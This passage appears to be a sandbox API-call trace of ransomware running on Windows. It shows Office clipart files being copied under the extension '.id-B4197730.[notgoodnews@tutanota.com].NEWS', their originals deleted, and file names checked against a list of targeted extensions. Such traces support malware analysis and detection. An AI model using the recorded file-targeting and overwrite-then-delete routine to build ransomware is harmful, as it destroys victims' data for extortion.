Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.031] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.031] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.034] GetLastError () returned 0x0 [0182.034] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1498, lpOverlapped=0x0) returned 1 [0182.069] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0182.071] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.071] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.071] SetEndOfFile (hFile=0x558) returned 1 [0182.071] CloseHandle (hObject=0x558) returned 1 [0182.071] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.071] SetEndOfFile (hFile=0x36c) returned 1 [0182.076] CloseHandle (hObject=0x36c) returned 1 [0182.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0182.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.083] lstrlenW (lpString=".doc") returned 4 [0182.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.083] lstrlenW (lpString=".docx") returned 5 [0182.083] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0182.083] lstrlenW (lpString=".pdf") returned 4 [0182.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.083] lstrlenW (lpString=".xls") returned 4 [0182.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.083] lstrlenW (lpString=".xlsx") returned 5 [0182.083] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0182.083] lstrlenW (lpString=".ppt") returned 4 [0182.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.083] lstrlenW (lpString=".zip") returned 4 [0182.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.083] lstrlenW (lpString=".rar") returned 4 [0182.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.083] lstrlenW (lpString=".bz2") returned 4 [0182.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.083] lstrlenW (lpString=".7z") returned 3 [0182.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.084] lstrlenW (lpString=".dbf") returned 4 [0182.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.084] lstrlenW (lpString=".1cd") returned 4 [0182.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.084] lstrlenW (lpString=".jpg") returned 4 [0182.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.084] lstrlenW (lpString=".doc") returned 4 [0182.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.084] lstrlenW (lpString=".docx") returned 5 [0182.084] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0182.084] lstrlenW (lpString=".pdf") returned 4 [0182.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.084] lstrlenW (lpString=".xls") returned 4 [0182.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.084] lstrlenW (lpString=".xlsx") returned 5 [0182.084] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0182.084] lstrlenW (lpString=".ppt") returned 4 [0182.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.085] lstrlenW (lpString=".zip") returned 4 [0182.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.085] lstrlenW (lpString=".rar") returned 4 [0182.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.085] lstrlenW (lpString=".bz2") returned 4 [0182.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.085] lstrlenW (lpString=".7z") returned 3 [0182.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.086] lstrlenW (lpString=".dbf") returned 4 [0182.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.086] lstrlenW (lpString=".1cd") returned 4 [0182.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0182.086] lstrlenW (lpString=".jpg") returned 4 [0182.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.086] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.086] lstrlenW (lpString="J0107280.WMF") returned 12 [0182.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.089] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11108) returned 1 [0182.089] CloseHandle (hObject=0x36c) returned 1 [0182.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220 [0182.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.090] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.090] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.091] GetLastError () returned 0x0 [0182.091] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x2b64, lpOverlapped=0x0) returned 1 [0182.096] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2b70, lpOverlapped=0x0) returned 1 [0182.099] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.099] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.099] SetEndOfFile (hFile=0x558) returned 1 [0182.100] CloseHandle (hObject=0x558) returned 1 [0182.100] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.100] SetEndOfFile (hFile=0x36c) returned 1 [0182.104] CloseHandle (hObject=0x36c) returned 1 [0182.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.106] lstrlenW (lpString=".doc") returned 4 [0182.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.106] lstrlenW (lpString=".docx") returned 5 [0182.106] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.106] lstrlenW (lpString=".pdf") returned 4 [0182.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.106] lstrlenW (lpString=".xls") returned 4 [0182.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.107] lstrlenW (lpString=".xlsx") returned 5 [0182.107] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.107] lstrlenW (lpString=".ppt") returned 4 [0182.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.107] lstrlenW (lpString=".zip") returned 4 [0182.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.107] lstrlenW (lpString=".rar") returned 4 [0182.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.107] lstrlenW (lpString=".bz2") returned 4 [0182.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.107] lstrlenW (lpString=".7z") returned 3 [0182.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.107] lstrlenW (lpString=".dbf") returned 4 [0182.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.107] lstrlenW (lpString=".1cd") returned 4 [0182.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.107] lstrlenW (lpString=".jpg") returned 4 [0182.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.108] lstrlenW (lpString=".doc") returned 4 [0182.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.109] lstrlenW (lpString=".docx") returned 5 [0182.109] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.109] lstrlenW (lpString=".pdf") returned 4 [0182.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.109] lstrlenW (lpString=".xls") returned 4 [0182.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.109] lstrlenW (lpString=".xlsx") returned 5 [0182.109] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.109] lstrlenW (lpString=".ppt") returned 4 [0182.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.109] lstrlenW (lpString=".zip") returned 4 [0182.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.109] lstrlenW (lpString=".rar") returned 4 [0182.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.109] lstrlenW (lpString=".bz2") returned 4 [0182.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.109] lstrlenW (lpString=".7z") returned 3 [0182.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.109] lstrlenW (lpString=".dbf") returned 4 [0182.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.109] lstrlenW (lpString=".1cd") returned 4 [0182.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0182.110] lstrlenW (lpString=".jpg") returned 4 [0182.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.110] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.110] lstrlenW (lpString="J0107282.WMF") returned 12 [0182.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.111] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14132) returned 1 [0182.111] CloseHandle (hObject=0x36c) returned 1 [0182.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220 [0182.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.112] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.112] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.114] GetLastError () returned 0x0 [0182.114] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3734, lpOverlapped=0x0) returned 1 [0182.207] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3740, lpOverlapped=0x0) returned 1 [0182.208] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.209] WriteFile (in: hFile=0x558, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.209] SetEndOfFile (hFile=0x558) returned 1 [0182.213] CloseHandle (hObject=0x558) returned 1 [0182.214] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.214] SetEndOfFile (hFile=0x36c) returned 1 [0182.218] CloseHandle (hObject=0x36c) returned 1 [0182.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0182.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.436] lstrlenW (lpString=".doc") returned 4 [0182.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".docx") returned 5 [0182.436] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.436] lstrlenW (lpString=".pdf") returned 4 [0182.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".xls") returned 4 [0182.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.436] lstrlenW (lpString=".xlsx") returned 5 [0182.436] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.436] lstrlenW (lpString=".ppt") returned 4 [0182.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.436] lstrlenW (lpString=".zip") returned 4 [0182.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.436] lstrlenW (lpString=".rar") returned 4 [0182.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".bz2") returned 4 [0182.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.436] lstrlenW (lpString=".7z") returned 3 [0182.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.437] lstrlenW (lpString=".dbf") returned 4 [0182.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.437] lstrlenW (lpString=".1cd") returned 4 [0182.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.437] lstrlenW (lpString=".jpg") returned 4 [0182.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.437] lstrlenW (lpString=".doc") returned 4 [0182.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString=".docx") returned 5 [0182.437] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.437] lstrlenW (lpString=".pdf") returned 4 [0182.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.437] lstrlenW (lpString=".xls") returned 4 [0182.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.438] lstrlenW (lpString=".xlsx") returned 5 [0182.438] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.438] lstrlenW (lpString=".ppt") returned 4 [0182.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.438] lstrlenW (lpString=".zip") returned 4 [0182.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.438] lstrlenW (lpString=".rar") returned 4 [0182.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.438] lstrlenW (lpString=".bz2") returned 4 [0182.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.438] lstrlenW (lpString=".7z") returned 3 [0182.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.438] lstrlenW (lpString=".dbf") returned 4 [0182.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.438] lstrlenW (lpString=".1cd") returned 4 [0182.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0182.438] lstrlenW (lpString=".jpg") returned 4 [0182.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.439] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.439] lstrlenW (lpString="J0107302.WMF") returned 12 [0182.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.440] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4136) returned 1 [0182.440] CloseHandle (hObject=0x558) returned 1 [0182.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220 [0182.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), 